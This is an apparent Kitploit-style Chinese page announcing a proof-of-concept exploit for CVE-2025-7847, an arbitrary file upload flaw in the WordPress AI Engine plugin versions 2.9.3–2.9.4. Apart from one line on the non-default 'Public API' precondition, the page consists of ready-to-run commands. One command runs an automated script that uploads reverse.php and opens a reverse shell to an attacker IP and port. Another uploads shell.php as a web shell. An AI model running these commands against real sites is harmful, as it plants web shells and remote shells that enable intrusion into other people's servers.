CVE-2025-7847-POC — WordPress 插件 AI Engine 2.9.3 - 2.9.4 概念验证 | Kitploit

CVE-2025-7847 Wordpress插件已验证订阅者任意文件上传 POC

Wordpress插件 AI Engine 2.9.3 - 2.9.4 概念验证

请注意，此漏洞仅在启用“Public API”选项时才能被利用，该选项默认是禁用的，并且没有配置Bearer Token，也没有添加和用于保护API的自定义身份验证。

自动化版本

python3 exploit-auto.py --url "http://target.com" --username "Admin" --password "L87*********C4u" --file reverse.php --attacker-ip 127.0.0.1 --attacker-port 4444

仅Web Shell上传

python3 exploit.py \                                                                                                                          
  --url "http://target.com/" \
  --username "Admin" \
  --password "L87*********C4u" \
  --file shell.php